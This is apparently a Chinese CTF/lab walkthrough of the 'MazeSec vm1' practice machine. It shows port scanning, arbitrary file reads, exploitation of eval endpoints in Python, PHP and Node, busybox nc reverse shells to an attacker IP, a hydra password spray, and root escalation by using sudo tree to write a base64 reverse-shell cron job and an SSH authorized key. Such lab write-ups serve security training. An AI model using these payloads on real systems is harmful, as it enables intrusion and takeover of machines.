MazeSec vm1
靶机提示:flag 是用户的 ssh 密码
# 存活主机发现
┌──(npc㉿kali)-[~/mazesec/vm1]
└─$ sudo arp-scan -I eth2 192.168.6.0/24
192.168.6.153 08:00:27:5d:72:53 PCS Systemtechnik GmbH
2
3
4
目标 IP:192.168.6.153
# TCP 全端口扫描
┌──(npc㉿kali)-[~/mazesec/vm1]
└─$ nmap -p- -sT 192.168.6.153
PORT STATE SERVICE
80/tcp open http
222/tcp open rsh-spx
9000/tcp open cslistener
2
3
4
5
6
7
nc 上去可以知道 222端口是 ssh 服务

# 80 端口服务探测
常规目录扫描(如 dirsearch)未发现敏感路径
# 9000 端口服务探测
访问 9000 端口

注释里发现关键信息

可以读取文件

# 敏感文件读取
读取 /etc/passwd,有php、python、node 用户
{
"content": "root:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\nphp:x:1000:1000:users:/home/php:/bin/sh\npython:x:1001:1001:users:/home/python:/bin/sh\nnode:x:1002:1002:users:/home/node:/bin/sh\n",
"filename": "/etc/passwd"
}
2
3
4
根目录有 .dockerenv,当前环境为 docker容器

# 进程信息读取
尝试读取常规目录、文件,无果,无法读取到当前服务的源码
/proc是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息
尝试通过 虚拟文件系统 proc 读取进程信息, burp intrude 爆破进程 PID,读取进程id 1-50,通过响应包大小来判断哪些PID是有效的

可以看到进程id 1、19、21、24、25、26、27、28、29 的 status返回长度不同,读取到了进程相关的文件内容
/proc/1/status
/proc/19/status
/proc/21/status
/proc/24/status
/proc/25/status
/proc/26/status
/proc/27/status
/proc/28/status
/proc/29/status
2
3
4
5
6
7
8
9

爆破这几个进程的 /proc/$pid/cmdline 文件,读取进程的启动命令,如果有相对路径,就可以尝试读取对应的文件

读取到 python 进程的启动命令,使用绝对命令启动了python脚本
/usr/bin/python3 /code/agent/pyagent.py

同样,可以读取其他进程的启动命令
python3 /code/agent/pyagent.py
php -S 127.0.0.1:8080
sh /code/start.sh
python3 app.py
node node.js
2
3
4
5
# 源码文件读取
读取 /code/agent/pyagent.py 文件

from flask import Flask, request, jsonify
import os
import sys
from io import StringIO
app = Flask(__name__)
@app.route('/process', methods=['POST'])
def process_action():
try:
data = request.get_json()
except:
return jsonify({'error': 'Invalid JSON input or missing "action" field.'}), 400
if not data or 'action' not in data:
return jsonify({'error': 'Invalid JSON input or missing "action" field.'}), 400
action = data['action']
if action == 'readfile':
if 'file' not in data:
return jsonify({'error': 'Missing "file" parameter for readfile action.'}), 400
filename = data['file']
try:
with open(filename, 'r') as f:
content = f.read()
return jsonify({
"filename": filename,
"content": content
})
except FileNotFoundError:
return jsonify({"error": f"File '{filename}' not found or not readable"}), 404
except Exception as e:
return jsonify({
"error": f"Error reading file: {str(e)}",
"type": type(e).__name__
}), 500
elif action == 'evalcode':
if 'code' not in data:
return jsonify({'error': 'Missing "code" parameter for evalcode action.'}), 400
code_to_eval = data['code']
old_stdout = sys.stdout
redirected_output = StringIO()
sys.stdout = redirected_output
result = None
error_type = None
error_message = None
try:
result = eval(code_to_eval)
except Exception as e:
error_type = type(e).__name__
error_message = str(e)
finally:
sys.stdout = old_stdout
captured_output = redirected_output.getvalue()
if error_type:
return jsonify({
"error": f"Code execution error ({error_type}): {error_message}",
"type": error_type
}), 500
return jsonify({
"code": code_to_eval,
"result": str(result),
"output": captured_output,
"type": str(type(result).__name__)
})
else:
return jsonify({'error': 'Unknown action. Supported actions: readfile, evalcode.'}), 400
if __name__ == '__main__':
app.run(debug=True, host='127.0.0.1', port=5000)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
json 键名使用 evalcode,可以执行任意 python 代码
# python 代码执行
反弹shell,反弹 bash 断开连接,因为 容器是 alpine 镜像,默认shell是 /bin/sh(Ash),而不是 bash,可以选择 /bin/sh 反弹shell
{"action": "evalcode","code": "__import__('os').popen('busybox nc 192.168.6.101 4444 -e /bin/sh')"}
报错,但是弹上了已经


靶机没有bash

根目录存在 flag_node、flag_php、flag_py 三个 flag 文件,只能对应的三个用户读取

可以读取到 php 源码,nodejs 源码

index.php 功能与 pyagent.py 一致,仅展示关键部分
if ($action === 'evalcode') {
if (!isset($data['code'])) {
http_response_code(400);
echo json_encode(['error' => 'Missing "code" parameter for evalcode action.']);
exit;
}
$code_to_eval = $data['code'];
ob_start();
try {
$result = eval("return " . $code_to_eval . ";");
$output = ob_get_clean();
echo json_encode([
"code" => $code_to_eval,
"result" => $result,
"output" => $output,
"type" => gettype($result)
]);
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
nodejs 代码同样类似
const port = 3000;
app.post('/evalcode', (req, res) => {
const codeToEval = req.body.code;
let result;
let type;
result = eval(codeToEval);
type = typeof result;
res.json({
code: codeToEval,
result: String(result),
type: type
});
});
2
3
4
5
6
7
8
9
10
11
12
13
14
# flag 获取
# python flag 获取
当前已经拿到了 python 用户的反弹shell,读取 /flag_python 文件

flag_py: flag{flag1is_python
# php flag 获取
回到 9000 端口前端,使用 php 代码反弹shell,拿到一个 php 用户的 shell
{"action": "evalcode","code": "system('busybox nc 192.168.6.101 4445 -e /bin/sh')"}

flag_php: _flag2_isphp
# node flag 获取
node 的 evalcode 接口监听在本地的 3000端口,容器环境过于极简,没有wget,curl 等请求工具,busybox有wget,用busybox wget传递post参数似乎有点问题,没有拿到返回内容
拷打ai,写了一个 busybox nc 请求 3000 端口,在已有的 php、python 的 shell 里执行,直接读取flag_node 文件
JSON_PAYLOAD='{"code":"require(\"child_process\").execSync(\"cat /flag_node\").toString()"}'
PAYLOAD_LEN=$(printf "%s" "$JSON_PAYLOAD" | wc -c)
(
printf "POST /evalcode HTTP/1.1\r\n"
printf "Host: 127.0.0.1:3000\r\n"
printf "Content-Type: application/json\r\n"
printf "Content-Length: %s\r\n" "$PAYLOAD_LEN"
printf "Connection: close\r\n"
printf "\r\n"
printf "%s" "$JSON_PAYLOAD"
) | busybox nc 127.0.0.1 3000
2
3
4
5
6
7
8
9
10
11
12
13

flag_node:have_@funnnnnnnngooos}
拼凑出完整的flag:flag{flag1is_python_flag2_isphphave_@funnnnnnnngooos}
根据提示,这是 ssh 密码,ssh 用户名未知,爆破用户名/密码喷洒
# ssh 登录 admin 用户
hydra 爆破用户名/密码喷洒
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -p "flag{flag1is_python_flag2_isphphave_@funnnnnnnngooos}" ssh://192.168.6.153:222 -t 20 -f -v -V
拿到用户名 admin

# sudo 权限枚举
admin 用户有 sudo tree 权限

# 方法一:--fromfile 参数读取文件
tree 命令帮助参数里,--fromfile 选项,可以从文件里读取内容,以树状形式展示

测试


tree 的 --fromfile 选项可以读取任意文件内容,以树状形式展示,sudo tree 直接读取 root.txt

# 方法二:控制输出内容写入文件
使用上面的 --fromfile 参数可以做到读取文件内容
admin@debian:/home/xj/111$ tree --fromfile -i 2.txt
2.txt
1234567
0 directories, 1 file
2
3
4
5
打印的内容格式如下
文件名
文件内容
目录/文件数量统计
2
3
4
通过 --noreport 参数,可以去掉目录/文件数量统计
admin@debian:/home/xj/111$ tree --noreport --fromfile -i 2.txt
2.txt
1234567
2
3
第一行文件名还有点碍事,如果文件名开头是 # ,这样有些文件会把这个第一行的文件名当作注释忽略掉,写入的文件内容正常生效
下面是想到的两种无损提权玩法
# 方案一:写入反弹shell定时任务
写入反弹shell的定时任务到 /etc/cron.d/rootRevShell 文件,注意严格控制内容不能出现 /
本地测试输出内容,测试正常
# /tmp/rootRevShell
* * * * * root bash -c "echo YnVzeWJveCBuYyAxOTIuMTY4LjYuMTAxIDQ0NDQgLWUgYmFzaAo= | base64 -d | bash"
┌──(npc㉿kali)-[~/.ssh]
└─$ cd /tmp
┌──(npc㉿kali)-[~/.ssh]
└─$ echo 'busybox nc 192.168.6.101 4444 -e bash'|base64
YnVzeWJveCBuYyAxOTIuMTY4LjYuMTAxIDQ0NDQgLWUgYmFzaAo=
# 每分钟执行一次反弹shell命令
┌──(npc㉿kali)-[~/.ssh]
└─$ echo '* * * * * root bash -c "echo YnVzeWJveCBuYyAxOTIuMTY4LjYuMTAxIDQ0NDQgLWUgYmFzaAo= | base64 -d | bash"' > '#rootRevShell'
# 使用 -N 避免tree转义文件名中的特殊字符,如果空格
┌──(npc㉿kali)-[~/.ssh]
└─$ tree --fromfile --noreport -i -N '#rootRevShell'
#rootRevShell
* * * * * root bash -c "echo YnVzeWJveCBuYyAxOTIuMTY4LjYuMTAxIDQ0NDQgLWUgYmFzaAo= | base64 -d | bash"
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

在本地与靶机测试 tree 命令时,发现存在差异,低版本会对空格等特殊字符进行转义,多出一个 \ ,会影响正常使用,所以使用 -N 选项禁用转义
在靶机tmp再次测试,测试正常
admin@debian:/tmp$ echo '* * * * * root bash -c "echo YnVzeWJveCBuYyAxOTIuMTY4LjYuMTAxIDQ0NDQgLWUgYmFzaAo= | base64 -d | bash"' > '#rootRevShell'
admin@debian:/tmp$ tree --fromfile --noreport -i -N '#rootRevShell'
#rootRevShell
* * * * * root bash -c "echo YnVzeWJveCBuYyAxOTIuMTY4LjYuMTAxIDQ0NDQgLWUgYmFzaAo= | base64 -d | bash"
admin@debian:/tmp$
2
3
4
5

写入定时任务
admin@debian:/$ cd /tmp
admin@debian:/tmp$ echo '* * * * * root bash -c "echo YnVzeWJveCBuYyAxOTIuMTY4LjYuMTAxIDQ0NDQgLWUgYmFzaAo= | base64 -d | bash"' > '#rootRevShell'
admin@debian:/tmp$ tree --fromfile --noreport -i -N '#rootRevShell'
#rootRevShell
* * * * * root bash -c "echo YnVzeWJveCBuYyAxOTIuMTY4LjYuMTAxIDQ0NDQgLWUgYmFzaAo= | base64 -d | bash"
admin@debian:/tmp$ sudo /usr/bin/tree --fromfile --noreport -i -N '#rootRevShell' -o /etc/cron.d/rootRevShell
2
3
4
5
6
等待一分钟,拿到 root 反弹shell

# 方案二:写入公钥
该方法依赖 .ssh 目录存在且权限正确
ssh 公钥允许存在 # 的注释行,所以也可以利用,关于文件内容不能出现 / 的限制,可以使用 ed25519 算法生成公钥对,公钥里出现 / 的概率较低
给出一个公钥私钥对
公钥
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ5pW4lZIWiSrKwJwdgyIsfCXWeCqglXPBYBHAqofV7w ssh-ed25519-20251121140715
私钥
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtz
c2gtZWQyNTUxOQAAACCeaVuJWSFokqysCcHYMiLHwl1ngqoJVzwWARwKqH1e8AAA
AKDEcu6CxHLuggAAAAtzc2gtZWQyNTUxOQAAACCeaVuJWSFokqysCcHYMiLHwl1n
gqoJVzwWARwKqH1e8AAAAECsD7FLsWCmuBMvaO/DhQiajLDJ5ON+7nhn4V60tEi/
aZ5pW4lZIWiSrKwJwdgyIsfCXWeCqglXPBYBHAqofV7wAAAAGnNzaC1lZDI1NTE5
LTIwMjUxMTIxMTQwNzE1AQID
-----END OPENSSH PRIVATE KEY-----
2
3
4
5
6
7
8
因为这个靶机并不存在 .ssh 目录,可以通过上面定时任务拿到的root shell,模拟创建一个 .ssh 目录,并做好权限控制
cd /root
mkdir -p .ssh
chmod 700 .ssh
2
3
靶机写入公钥
# 写入ssh公钥authorized_keys
admin@debian:/tmp$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ5pW4lZIWiSrKwJwdgyIsfCXWeCqglXPBYBHAqofV7w ssh-ed25519-20251121140715' > '# sshKey'
admin@debian:/tmp$ tree --fromfile --noreport -i -N '# sshKey'
# sshKey
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ5pW4lZIWiSrKwJwdgyIsfCXWeCqglXPBYBHAqofV7w ssh-ed25519-20251121140715
admin@debian:/tmp$ sudo /usr/bin/tree --fromfile --noreport -i -N '# sshKey' -o /root/.ssh/authorized_keys
2
3
4
5
6
7

本地创建私钥
┌──(npc㉿kali)-[~/.ssh]
└─$ cat > key << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtz
c2gtZWQyNTUxOQAAACCeaVuJWSFokqysCcHYMiLHwl1ngqoJVzwWARwKqH1e8AAA
AKDEcu6CxHLuggAAAAtzc2gtZWQyNTUxOQAAACCeaVuJWSFokqysCcHYMiLHwl1n
gqoJVzwWARwKqH1e8AAAAECsD7FLsWCmuBMvaO/DhQiajLDJ5ON+7nhn4V60tEi/
aZ5pW4lZIWiSrKwJwdgyIsfCXWeCqglXPBYBHAqofV7wAAAAGnNzaC1lZDI1NTE5
LTIwMjUxMTIxMTQwNzE1AQID
-----END OPENSSH PRIVATE KEY-----
EOF
┌──(npc㉿kali)-[~/.ssh]
└─$ chmod 600 key
┌──(npc㉿kali)-[~/.ssh]
└─$ ssh root@192.168.6.153 -p 222 -i key
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ssh 登录 root 成功
